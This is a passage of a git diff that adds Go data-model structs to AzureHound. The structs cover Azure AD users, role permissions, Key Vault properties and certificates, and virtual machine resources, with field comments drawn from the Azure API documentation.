of the entity. + // * Read - The ability to read a given property set (including allProperties). + // * Update - The ability to update a given property set (including allProperties). + // * Delete - The ability to delete a given entity. + // * AllTasks - Represents all CRUD operations (create, read, update, and delete). + AllowedResourceActions []string `json:"allowedResourceActions,omitempty"` + + // Optional constraints that must be met for the permission to be effective. + // + // Conditions define constraints that must be met. For example, a requirement that the principal be an owner of the + // target resource. The following are the supported conditions: + // + // Self: "@Subject.objectId == @Resource.objectId" + // Owner: "@Subject.objectId Any_of @Resource.owners" + // + // The following is an example of a role permission with a condition that the principal be the owner of the target + // resource: + // + // "rolePermissions": [ + // { + // "allowedResourceActions": [ + // "microsoft.directory/applications/basic/update", + // "microsoft.directory/applications/credentials/update" + // ], + // "condition": "@Subject.objectId Any_of @Resource.owners" + // } + // ] + Condition string `json:"condition,omitempty"` + + // Set of tasks tat may not be performed on a resource. Not yet supported. + // See AllowedResourceActions for more information. + ExcludedResourceActions []string `json:"excludedResourceActions,omitempty"` +} diff --git a/models/azure/user.go b/models/azure/user.go new file mode 100644 index 0000000..301b5d7 --- /dev/null +++ b/models/azure/user.go @@ -0,0 +1,467 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Represents an Azure Active Directory user account. +type User struct { + DirectoryObject + + // A freeform text entry field for the user to describe themselves. + // + // Returned only on `$select` + AboutMe string `json:"aboutMe,omitempty"` + + // `true` if the account is enabled; otherwise `false`. This property is required when a user is created. + // + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,in) + AccountEnabled bool `json:"accountEnabled,omitempty"` + + // Sets the age group of the user. + // + // Allowed values: `null`, `minor`, `notAdult` and `adult` + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,in) + AgeGroup enums.AgeGroup `json:"ageGroup,omitempty"` + + // The licenses that are assigned to the user, including inherited (group-based) licenses. + // + // Not nullable + // Returned only on `$select` + // Supports `$filter` (eq, NOT) + AssignedLicenses []AssignedLicense `json:"assignedLicenses,omitempty"` + + // The plans that are assigned to the user. + // + // Read-Only + // Not Nullable + // Returned only on `$select` + // Supports `$filter` (eq, NOT) + AssignedPlans []AssignedPlan `json:"assignedPlans,omitempty"` + + // The birthday of the user using ISO 8601 format. + // + // Returned only on `$select` + Birthday string `json:"birthday,omitempty"` + + // The telephone numbers for the user. + // Note: Although this is a string collection, only one number can be set for this property. + // + // Read-only for users synced from on-premises directory + // Supports `$filter` (eq, NOT) + BusinessPhones []string `json:"businessPhones,omitempty"` + + // The city in which the user is located. + // + // Max length is 128 characters + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith) + City string `json:"city,omitempty"` + + // The company name which the user is associated. Useful for describing a company for an external user. + // + // Max length is 64 characters + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith) + CompanyName string `json:"companyName,omitempty"` + + // Sets whether conset has been obtained for minors. + // + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,in) + ConsentProvidedForMinor enums.ConsentForMinor `json:"consentProvidedForMinor,omitempty"` + + // The country/region in which the user is located. + // + // Max length is 128 characters + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith) + Country string `json:"country,omitempty"` + + // The created date of the user object. + // + // Read-only + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in) + CreatedDateTime string `json:"createdDateTime,omitempty"` + + // Indicates the method through which the user account was created. + // + // Read-only + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,in) + CreationType enums.CreationType `json:"creationType,omitempty"` + + // The date and time the user was deleted. + // + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in) + DeletedDateTime string `json:"deletedDateTime,omitempty"` + + // The name for the department in which the user works. + // + // Max length is 64 characters + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in) + Department string `json:"department,omitempty"` + + // The name displayed in the address book for the user. This is usually the combination of the user's first name, + // middle initial and last name. Required on creation and cannot be cleared during updates. + // + // Max length is 256 characters + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith), `$orderBy` and `$search` + DisplayName string `json:"displayName,omitempty"` + + // The data and time the user was hired or will start work in case of a future hire. + // + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in) + EmployeeHireDate string `json:"employeeHireDate,omitempty"` + + // The employee identifier assigned to the user bu the organization. + // + // Returned only on `$select` + // Supports `filter` (eq,ne,NOT,ge,le,in,startsWith) + EmployeeId string `json:"employeeId,omitempty"` + + // Represents organization data (e.g. division and costCenter) associated with a user. + // + // Returned only in `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in) + EmployeeOrgData EmployeeOrgData `json:"employeeOrgData,omitempty"` + + // Captures enterprise worker type. + // + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith) + EmployeeType string `json:"employeeType,omitempty"` + + // For an external user invited to the tenant, this represents the invited user's invitation status. + // + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,in) + ExternalUserState enums.ExternalUserState `json:"externalUserState,omitempty"` + + // Shows the timestamp for the latest change to the {@link ExternalUserState} property. + // + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,in) + ExternalUserStateChangeDateTime string `json:"externalUserStateChangeDateTime,omitempty"` + + // The fax number of the user. + // + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith) + FaxNumber string `json:"faxNumber,omitempty"` + + // The given name (first name) of the user. + // + // Max length is 64 characters + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith) + GivenName string `json:"givenName,omitempty"` + + // The hire date of the user using ISO 8601 format. + // Note: This property is specific to SharePoint Online. Use {@link EmployeeHireDate} to set or update. + // + // Returned only on `$select` + HireDate string `json:"hireDate,omitempty"` + + // Represents the identities that can be used to sign in to this user account. + // + // Returned only on `$select` + // Supports `$filter` (eq) only where the SignInType is not `userPrincipalName` + Identities []ObjectIdentity `json:"identities,omitempty"` + + // The instant message voice over IP (VOIP) session initiation protocol (SIP) addresses for this user. + // + // Read-only + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,startsWith) + ImAddresses []string `json:"imAddresses,omitempty"` + + // A list for the user to describe their interests. + // + // Returned only on `$select` + Interests []string `json:"interests,omitempty"` + + // The user's job title. + // + // Max length is 128 characters + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith) + JobTitle string `json:"jobTitle,omitempty"` + + // The time when this Azure AD user last changed their password or when their password was created using ISO 8601 + // format in UTC time. + // + // Returned only on `$select` + LastPasswordChangeDateTime string `json:"lastPasswordChangeDateTime,omitempty"` + + // Used by enterprise applications to determine the legal age group of the user. + // + // Returned only on `$select` + LegalAgeGroupClassification enums.LegalAgeGroup `json:"legalAgeGroupClassification,omitempty"` + + // State of license assignments for this user. + // + // Read-only + // Returned only on `$select` + LicenseAssignmentStates []LicenseAssignmentState `json:"licenseAssignmentStates,omitempty"` + + // The SMTP address for the user. + // + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith,endsWith) + Mail string `json:"mail,omitempty"` + + // Settings for the primary mailbox of the signed-in user. + // + // Returned only on `$select` + MailboxSettings MailboxSettings `json:"mailboxSettings,omitempty"` + + // The mail alias for the user. + // + // Max length is 64 characters + // Returned only on `$select` + // Supports `$filter` (eq,ne,NOT,ge,le,in,startsWith) + MailNickname string `json:"mailNickname,omitempty"` + + // The primary cellular telephone number for the user. Read-only for users synced from on-premises directory. + // Maximum length is 64 characters. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + MobilePhone string `json:"mobilePhone,omitempty"` + + // The URL for the user's personal site. + // Returned only on $select. + MySite string `json:"mySite,omitempty"` + + // The office location in the user's place of business. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + OfficeLocation string `json:"officeLocation,omitempty"` + + // Contains the on-premises Active Directory distinguished name or DN. The property is only populated for customers + // who are synchronizing their on-premises directory to Azure Active Directory via Azure AD Connect. + // Read-only. + // Returned only on $select. + OnPremisesDistinguishedName string `json:"onPremisesDistinguishedName,omitempty"` + + // Contains the on-premises domainFQDN, also called dnsDomainName synchronized from the on-premises directory. + // The property is only populated for customers who are synchronizing their on-premises directory to Azure Active + // Directory via Azure AD Connect. + // Read-only. + // Returned only on $select. + OnPremisesDomainName string `json:"onPremisesDomainName,omitempty"` + + // Contains extensionAttributes 1-15 for the user + // Note that the individual extension attributes are neither selectable nor filterable. + // For an onPremisesSyncEnabled user, the source of authority for this set of properties is the on-premises and is + // read-only. + // For a cloud-only user (where onPremisesSyncEnabled is false), these properties may be set during creation or + // update. These extension attributes are also known as Exchange custom attributes 1-15. + // Returned only on $select. Supports $filter (eq, NOT, ge, le, in). + OnPremisesExtensionAttributes OnPremisesExtensionAttributes `json:"onPremisesExtensionAttributes,omitempty"` + + // This property is used to associate an on-premises Active Directory user account to their Azure AD user object. + // This property must be specified when creating a new user account in the Graph if you are using a federated domain + // for the user's userPrincipalName (UPN) property. + // NOTE: The $ and _ characters cannot be used when specifying this property. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, ge, le, in) + OnPremisesImmutableId string `json:"onPremisesImmutableId,omitempty"` + + // Indicates the last time at which the object was synced with the on-premises directory; + // The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + // Read-only. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, ge, le, in). + OnPremisesLastSyncDateTime string `json:"onPremisesLastSyncDateTime,omitempty"` + + // Errors when using Microsoft synchronization product during provisioning. + // Returned only on $select. Supports $filter (eq, NOT, ge, le). + OnPremisesProvisioningErrors []OnPremisesProvisioningError `json:"onPremisesProvisioningErrors,omitempty"` + + // Contains the on-premises samAccountName synchronized from the on-premises directory. + // The property is only populated for customers who are synchronizing their on-premises directory to Azure Active + // Directory via Azure AD Connect. + // Read-only. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + OnPremisesSamAccountName string `json:"onPremisesSamAccountName,omitempty"` + + // Contains the on-premises security identifier (SID) for the user that was synchronized from on-premises to the + // cloud. + // Read-only. + // Returned only on $select. + OnPremisesSecurityIdentifier string `json:"onPremisesSecurityIdentifier,omitempty"` + + // true if this object is synced from an on-premises directory; false if this object was originally synced from an + // on-premises directory but is no longer synced; null if this object has never been synced from an on-premises + // directory (default). + // Read-only. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, in). + OnPremisesSyncEnabled bool `json:"onPremisesSyncEnabled,omitempty"` + + // Contains the on-premises userPrincipalName synchronized from the on-premises directory. + // The property is only populated for customers who are synchronizing their on-premises directory to Azure Active + // Directory via Azure AD Connect. + // Read-only. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + OnPremisesUserPrincipalName string `json:"onPremisesUserPrincipalName,omitempty"` + + // A list of additional email addresses for the user; for example: ["bob@contoso.com", "Robert@fabrikam.com"]. + // NOTE: This property cannot contain accent characters. + // Returned only on $select. + // Supports $filter (eq, NOT, ge, le, in, startsWith). + OtherMails []string `json:"otherMails,omitempty"` + + // Specifies password policies for the user. This value is an enumeration with one possible value being + // DisableStrongPassword, which allows weaker passwords than the default policy to be specified. + // DisablePasswordExpiration can also be specified. + // The two may be specified together; for example: DisablePasswordExpiration, DisableStrongPassword. + // Returned only on $select. + // Supports $filter (ne, NOT). + PasswordPolicies string `json:"passwordPolicies,omitempty"` + + // Specifies the password profile for the user. + // The profile contains the user’s password. This property is required when a user is created. The password in the + // profile must satisfy minimum requirements as specified by the passwordPolicies property. By default, a strong + // password is required. + // + // NOTE: For Azure B2C tenants, the forceChangePasswordNextSignIn property should be set to false and instead use + // custom policies and user flows to force password reset at first logon. See Force password reset at first logon. + // + // Returned only on $select. + // Supports $filter (eq, ne, NOT, in). + PasswordProfile PasswordProfile `json:"passwordProfile,omitempty"` + + // A list for the user to enumerate their past projects. + // Returned only on $select. + PastProjects []string `json:"pastProjects,omitempty"` + + // The postal code for the user's postal address. The postal code is specific to the user's country/region. In the + // United States of America, this attribute contains the ZIP code. + // Maximum length is 40 characters. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + PostalCode string `json:"postalCode,omitempty"` + + // The preferred data location for the user. + PreferredDataLocation string `json:"preferredDataLocation,omitempty"` + + // The preferred language for the user. Should follow ISO 639-1 Code; for example en-US. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith) + PreferredName string `json:"preferredName,omitempty"` + + // The plans that are provisioned for the user. + // Read-only. + // Not nullable. + // Returned only on $select. + // Supports $filter (eq, NOT, ge, le). + ProvisionedPlans []ProvisionedPlan `json:"provisionedPlans,omitempty"` + + // For example: ["SMTP: bob@contoso.com", "smtp: bob@sales.contoso.com"]. + // For Azure AD B2C accounts, this property has a limit of ten unique addresses. + // Read-only, + // Not nullable. + // Returned only on $select. + // Supports $filter (eq, NOT, ge, le, startsWith). + ProxyAddresses []string `json:"proxyAddresses,omitempty"` + + // Any refresh tokens or sessions tokens (session cookies) issued before this time are invalid, and applications + // will get an error when using an invalid refresh or sessions token to acquire a delegated access token (to access + // APIs such as Microsoft Graph). If this happens, the application will need to acquire a new refresh token by + // making a request to the authorize endpoint. + // Returned only on $select. + // Read-only. + RefreshTokensValidFromDateTime string `json:"refreshTokensValidFromDateTime,omitempty"` + + // A list for the user to enumerate their responsibilities. + // Returned only on $select + Responsibilities []string `json:"responsibilities,omitempty"` + + // A list for the user to enumerate the schools they have attended. + // Returned only on $select. + Schools []string `json:"schools,omitempty"` + + // true if the Outlook global address list should contain this user, otherwise false. If not set, this will be + // treated as true. For users invited through the invitation manager, this property will be set to false. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, in). + ShowInAddressList bool `json:"showInAddressList,omitempty"` + + // A list for the user to enumerate their skills. + // Returned only on $select. + Skills []string `json:"skills,omitempty"` + + // Any refresh tokens or sessions tokens (session cookies) issued before this time are invalid, and applications + // will get an error when using an invalid refresh or sessions token to acquire a delegated access token (to access + // APIs such as Microsoft Graph). If this happens, the application will need to acquire a new refresh token by + // making a request to the authorize endpoint. + // Read-only. + // Returned only on $select. + SignInSessionsValidFromDateTime string `json:"signInSessionsValidFromDateTime,omitempty"` + + // The state or province in the user's address. + // Maximum length is 128 characters. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + State string `json:"state,omitempty"` + + // The street address of the user's place of business. + // Maximum length is 1024 characters. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + StreetAddress string `json:"streetAddress,omitempty"` + + // The user's surname (family name or last name). Maximum length is 64 characters. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + Surname string `json:"surname,omitempty"` + + // A two letter country code (ISO standard 3166). Required for users that will be assigned licenses due to legal + // requirement to check for availability of services in countries. Examples include: US, JP, and GB. + // Not nullable. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + UsageLocation string `json:"usageLocation,omitempty"` + + // The user principal name (UPN) of the user. + // The UPN is an Internet-style login name for the user based on the Internet standard RFC 822. By convention, this + // should map to the user's email name. The general format is alias@domain, where domain must be present in the + // tenant's collection of verified domains. This property is required when a user is created. The verified domains + // for the tenant can be accessed from the verifiedDomains property of organization. + // + // NOTE: This property cannot contain accent characters. + // + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith, endsWith) and $orderBy. + UserPrincipalName string `json:"userPrincipalName,omitempty"` + + // A string value that can be used to classify user types in your directory, such as Member and Guest. + // Returned only on $select. + // Supports $filter (eq, ne, NOT, in). + UserType string `json:"userType,omitempty"` +} diff --git a/models/azure/user_assigned_identity.go b/models/azure/user_assigned_identity.go new file mode 100644 index 0000000..2439cf4 --- /dev/null +++ b/models/azure/user_assigned_identity.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type UserAssignedIdentity struct { + ClientId string `json:"clientId,omitempty"` + PrincipalId string `json:"principalId,omitempty"` +} diff --git a/models/azure/vault_certificate.go b/models/azure/vault_certificate.go new file mode 100644 index 0000000..41c9124 --- /dev/null +++ b/models/azure/vault_certificate.go @@ -0,0 +1,44 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a single certificate reference in a Key Vault, and where the certificate should reside on the VM. +type VaultCertificate struct { + // For Windows VMs, specifies the certificate store on the Virtual Machine to which the certificate should be added. + // The specified certificate store is implicitly in the LocalMachine account. + // For Linux VMs, the certificate file is placed under the /var/lib/waagent directory, with the file name + // .crt for the X509 certificate file and .prv for private key. + // Both of these files are .pem formatted. + CertificateStore string `json:"certificateStore,omitempty"` + + // This is the URL of a certificate that has been uploaded to Key Vault as a secret. + // For adding a secret to the Key Vault, see Add a key or secret to the key vault. In this case, your certificate + // needs to be It is the Base64 encoding of the following JSON Object which is encoded in UTF-8: + // + // ```json + // { + // "data":"", + // "dataType":"pfx", + // "password":"" + // } + // ``` + // + // To install certificates on a virtual machine it is recommended to use the Azure Key Vault virtual machine + // extension for Linux or the Azure Key Vault virtual machine extension for Windows. + CertificateUrl string `json:"certificateUrl,omitempty"` +} diff --git a/models/azure/vault_props.go b/models/azure/vault_props.go new file mode 100644 index 0000000..d944473 --- /dev/null +++ b/models/azure/vault_props.go @@ -0,0 +1,87 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Properties of the vault +type VaultProperties struct { + // An array of 0 to 1024 identities that have access to the key vault. All identities in the array must use the same + // tenant ID as the key vault's tenant ID. When createMode is set to recover, access policies are not required. + // Otherwise, access policies are required. + AccessPolicies []AccessPolicyEntry `json:"accessPolicies,omitempty"` + + // The vault's create mode to indicate whether the vault need to be recovered or not. + CreateMode enums.CreateMode `json:"createMode,omitempty"` + + // Property specifying whether protection against purge is enabled for this vault. + // Setting this property to true activates protection against purge for this vault and its content - only the + // Key Vault service may initiate a hard, irrecoverable deletion. + // The setting is effective only if soft delete is also enabled. + // Enabling this functionality is irreversible - that is, the property does not accept false as its value. + EnablePurgeProtection bool `json:"enablePurgeProtection,omitempty"` + + // Property that controls how data actions are authorized. + // When true, the key vault will use Role Based Access Control (RBAC) for authorization of data actions, and the + // access policies specified in vault properties will be ignored. When false, the key vault will use the access + // policies specified in vault properties, and any policy stored on Azure Resource Manager will be ignored. If null + // or not specified, the vault is created with the default value of false. + // Note that management actions are always authorized with RBAC. + EnableRbacAuthorization bool `json:"enableRbacAuthorization,omitempty"` + + // Property to specify whether the 'soft delete' functionality is enabled for this key vault. + // If it's not set to any value(true or false) when creating new key vault, it will be set to true by default. + // Once set to true, it cannot be reverted to false. + EnableSoftDelete bool `json:"enableSoftDelete,omitempty"` + + // Property to specify whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from + // the key vault. + EnabledForDeployment bool `json:"enabledForDeployment,omitempty"` + + // Property to specify whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys. + EnabledForDiskEncryption bool `json:"enabledForDiskEncryption,omitempty"` + + // Property to specify whether Azure Resource Manager is permitted to retrieve secrets from the key vault. + EnabledForTemplateDeployment bool `json:"enabledForTemplateDeployment,omitempty"` + + // The resource ID of HSM Pool. + HsmPoolResourceId string `json:"hsmPoolResourceId,omitempty"` + + // Rules governing the accessibility of the key vault from specific network locations. + NetworkAcls NetworkRuleSet `json:"networkAcls,omitempty"` + + // List of private endpoint connections associated with the key vault. + PrivateEndpointConnections []PrivateEndpointConnectionItem `json:"privateEndpointConnections,omitempty"` + + // Provisioning state of the vault. + ProvisioningState enums.VaultProvisioningState `json:"provisioningState,omitempty"` + + // SKU details + Sku Sku `json:"sku,omitempty"` + + // softDelete data retention days. It accepts >=7 and <=90. + SoftDeleteRetentionInDays int `json:"softDeleteRetentionInDays,omitempty"` + + // The Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. + TenantId string `json:"tenantId,omitempty"` + + // The URI of the vault for performing operations on keys and secrets. This property is readonly. + VaultUri string `json:"vaultUri,omitempty"` +} diff --git a/models/azure/vault_secret_group.go b/models/azure/vault_secret_group.go new file mode 100644 index 0000000..77c3e97 --- /dev/null +++ b/models/azure/vault_secret_group.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a set of certificates which are all in the same Key Vault. +type VaultSecretGroup struct { + // The relative URL of the Key Vault containing all of the certificates in VaultCertificates. + SourceVault SubResource `json:"sourceVault,omitempty"` + + // The list of key vault references in SourceVault which contain certificates. + VaultCertificates []VaultCertificate `json:"vaultCertificates,omitempty"` +} diff --git a/models/azure/verified_domain.go b/models/azure/verified_domain.go new file mode 100644 index 0000000..6e18adf --- /dev/null +++ b/models/azure/verified_domain.go @@ -0,0 +1,36 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies a domain for a tenant. +type VerifiedDomain struct { + // For example, "Email", "OfficeCommunicationsOnline". + Capabilities string `json:"capabilities,omitempty"` + + // `true` if this is the default domain associated with the tenant; otherwise, `false`. + IsDefault bool `json:"isDefault,omitempty"` + + // `true` if this is the initial domain associated with the tenant; otherwise, `false`. + IsInitial bool `json:"isInitial,omitempty"` + + // The domain name; for example, “contoso.onmicrosoft.com”. + Name string `json:"name,omitempty"` + + // For example, "Managed". + Type string `json:"type,omitempty"` +} diff --git a/models/azure/verified_publisher.go b/models/azure/verified_publisher.go new file mode 100644 index 0000000..c8369a9 --- /dev/null +++ b/models/azure/verified_publisher.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents the verified publisher of the application. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/verifiedpublisher?view=graph-rest-1.0 +type VerifiedPublisher struct { + // The verified publisher name from the app publisher's Partner Center account. + DisplayName string `json:"displayName,omitempty"` + + // The ID of the verified publisher from the app publisher's Partner Center account. + VerifiedPublisherId string `json:"verifiedPublisherId,omitempty"` + + // The timestamp when the verified publisher was first added or most recently updated. + AddedDateTime string `json:"addedDateTime,omitempty"` +} diff --git a/models/azure/virtual_application.go b/models/azure/virtual_application.go new file mode 100644 index 0000000..12d41cd --- /dev/null +++ b/models/azure/virtual_application.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type VirtualApplication struct { + PhysicalPath string `json:"physicalPath,omitempty"` + PreloadEnabled bool `json:"preloadEnabled,omitempty"` + VirtualDirectories []VirtualDirectory `json:"virtualDirectories,omitempty"` + VirtualPath string `json:"virtualPath,omitempty"` +} + +type VirtualDirectory struct { + PhysicalPath string `json:"physicalPath,omitempty"` + VirtualPath string `json:"virtualPath,omitempty"` +} diff --git a/models/azure/virtual_hard_disk.go b/models/azure/virtual_hard_disk.go new file mode 100644 index 0000000..ed9c205 --- /dev/null +++ b/models/azure/virtual_hard_disk.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes the uri of a disk. +type VirtualHardDisk struct { + Uri string `json:"uri,omitempty"` +} diff --git a/models/azure/virtual_machine.go b/models/azure/virtual_machine.go new file mode 100644 index 0000000..64cbb48 --- /dev/null +++ b/models/azure/virtual_machine.go @@ -0,0 +1,53 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +type VirtualMachine struct { + Entity + + ExtendedLocation ExtendedLocation `json:"extendedLocation,omitempty"` + Identity ManagedIdentity `json:"identity,omitempty"` + Location string `json:"location,omitempty"` + Name string `json:"name,omitempty"` + Plan Plan `json:"plan,omitempty"` + Properties VirtualMachineProperties `json:"properties,omitempty"` + Resources []VirtualMachineExtension `json:"resources,omitempty"` + Tags map[string]string `json:"tags,omitempty"` + Type string `json:"type,omitempty"` + Zones []string `json:"zones,omitempty"` +} + +func (s VirtualMachine) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s VirtualMachine) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/virtual_machine_agent_instance_view.go b/models/azure/virtual_machine_agent_instance_view.go new file mode 100644 index 0000000..939cd8e --- /dev/null +++ b/models/azure/virtual_machine_agent_instance_view.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The instance view of the the VM Agent running on the virtual machine. +type VirtualMachineAgentInstanceView struct { + // The virtual machine extension handler instance view. + ExtensionHandlers []VirtualMachineExtensionHandlerInstanceView `json:"extensionHandlers,omitempty"` + + // The resource status information. + 